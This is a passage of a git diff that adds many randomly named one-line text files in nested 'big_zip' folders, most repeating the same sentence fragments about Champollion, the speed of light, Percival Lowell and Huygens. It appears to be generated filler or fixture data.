+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_pfyxnyjfcqkmqrjzpsvyrmfg.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_pfyxnyjfcqkmqrjzpsvyrmfg.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_pfyxnyjfcqkmqrjzpsvyrmfg.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_qqftrdteawxqghcrl.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_qqftrdteawxqghcrl.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_qqftrdteawxqghcrl.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_snpuxllfqrhzfnkljrtgo.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_snpuxllfqrhzfnkljrtgo.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_snpuxllfqrhzfnkljrtgo.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_tsjoagbiaguabrhevdwpq.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_tsjoagbiaguabrhevdwpq.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_tsjoagbiaguabrhevdwpq.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_uaelbgbf.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_uaelbgbf.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_uaelbgbf.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_uburzzncnkfvrzprbwacrzz.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_uburzzncnkfvrzprbwacrzz.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_uburzzncnkfvrzprbwacrzz.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_vhndzhmxylrpmst.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_vhndzhmxylrpmst.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_vhndzhmxylrpmst.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_vmyjhlxjjnhr.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_vmyjhlxjjnhr.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_vmyjhlxjjnhr.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_vxugjujjmkg.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_vxugjujjmkg.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_vxugjujjmkg.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_xcakovitltjnuvnog.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_xcakovitltjnuvnog.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_xcakovitltjnuvnog.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_xdsrqnblygtzmdw.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_xdsrqnblygtzmdw.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_xdsrqnblygtzmdw.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_xtwyitamugngm.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_xtwyitamugngm.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_xtwyitamugngm.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_zzjzvluqrkptryrxbjjyekue.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_zzjzvluqrkptryrxbjjyekue.txt
new file mode 100644
index 0000000..1005bbb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/file_zzjzvluqrkptryrxbjjyekue.txt
@@ -0,0 +1 @@
+that Champollion first set foot in Egypt, the land of his dreams, and sailed upstream from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_ampelcnetkttxqvszid.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_ampelcnetkttxqvszid.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_ampelcnetkttxqvszid.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_cyottazpyxseutshxah.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_cyottazpyxseutshxah.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_cyottazpyxseutshxah.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_epbejozpsgeh.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_epbejozpsgeh.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_epbejozpsgeh.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_fhtcqotzvqqidng.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_fhtcqotzvqqidng.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_fhtcqotzvqqidng.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_imiwhjoeajdalafo.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_imiwhjoeajdalafo.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_imiwhjoeajdalafo.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_juazxrwpfifmtknd.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_juazxrwpfifmtknd.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_juazxrwpfifmtknd.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_lphxafaz.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_lphxafaz.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_lphxafaz.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_nawctsujlm.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_nawctsujlm.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_nawctsujlm.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_noncdpachkcwalsfzn.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_noncdpachkcwalsfzn.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_noncdpachkcwalsfzn.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_nzrsnqxifkus.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_nzrsnqxifkus.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_nzrsnqxifkus.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_oamojahlfqn.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_oamojahlfqn.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_oamojahlfqn.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_odmfflthrzgjkzxrkvng.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_odmfflthrzgjkzxrkvng.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_odmfflthrzgjkzxrkvng.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_osyqigvpomhtddlbs.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_osyqigvpomhtddlbs.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_osyqigvpomhtddlbs.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_pmzoepkrgc.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_pmzoepkrgc.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_pmzoepkrgc.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_qvojkjhyhmglblrudbw.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_qvojkjhyhmglblrudbw.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_qvojkjhyhmglblrudbw.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_rmiyazxspkepxkorxwjd.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_rmiyazxspkepxkorxwjd.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_rmiyazxspkepxkorxwjd.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_rwljxezedxjpkvjnnxhzfle.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_rwljxezedxjpkvjnnxhzfle.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_rwljxezedxjpkvjnnxhzfle.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_twlwfaqmrleda.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_twlwfaqmrleda.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_twlwfaqmrleda.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_upwgasdvhimenajzgalnia.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_upwgasdvhimenajzgalnia.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_upwgasdvhimenajzgalnia.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_vrpyqifqafktznd.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_vrpyqifqafktznd.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_vrpyqifqafktznd.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_wjuginduoesswnujog.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_wjuginduoesswnujog.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_wjuginduoesswnujog.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_wnzdqdnbkdsnhimzrfo.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_wnzdqdnbkdsnhimzrfo.txt
new file mode 100644
index 0000000..ce879e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/file_wnzdqdnbkdsnhimzrfo.txt
@@ -0,0 +1 @@
+speed of light. Certain ideas had been accepted as true without sufficiently careful thought.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/bhvzbqhqmqajvayy.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/bhvzbqhqmqajvayy.txt
new file mode 100644
index 0000000..e29ac84
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/bhvzbqhqmqajvayy.txt
@@ -0,0 +1 @@
+network. But this is precisely what Percival Lowell, not a hundred years ago, mistakenly
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/dfogowegregnygouy.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/dfogowegregnygouy.txt
new file mode 100644
index 0000000..c552ebb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/dfogowegregnygouy.txt
@@ -0,0 +1 @@
+Huygens home was filled with goods from all over the world. Distinguished thinkers from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_ajbtaihm.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_ajbtaihm.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_ajbtaihm.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_aqtrblbqjwxmyacjdigwu.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_aqtrblbqjwxmyacjdigwu.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_aqtrblbqjwxmyacjdigwu.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_azhgvwkgniqch.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_azhgvwkgniqch.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_azhgvwkgniqch.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_ccxaifzwltqey.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_ccxaifzwltqey.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_ccxaifzwltqey.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_cnezajzfuprapjvyxvcvim.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_cnezajzfuprapjvyxvcvim.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_cnezajzfuprapjvyxvcvim.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_dtrlpzjq.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_dtrlpzjq.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_dtrlpzjq.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_elwzvknag.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_elwzvknag.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_elwzvknag.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_ggybtvbv.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_ggybtvbv.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_ggybtvbv.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_hxhqsspjha.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_hxhqsspjha.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_hxhqsspjha.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_mfupihqgeoyzge.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_mfupihqgeoyzge.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_mfupihqgeoyzge.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_mgmdeommcvez.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_mgmdeommcvez.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_mgmdeommcvez.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_nyfnoenrjwrypemu.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_nyfnoenrjwrypemu.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_nyfnoenrjwrypemu.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_pqnpsfkuccgarddg.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_pqnpsfkuccgarddg.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_pqnpsfkuccgarddg.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_qazpgglfacrb.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_qazpgglfacrb.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
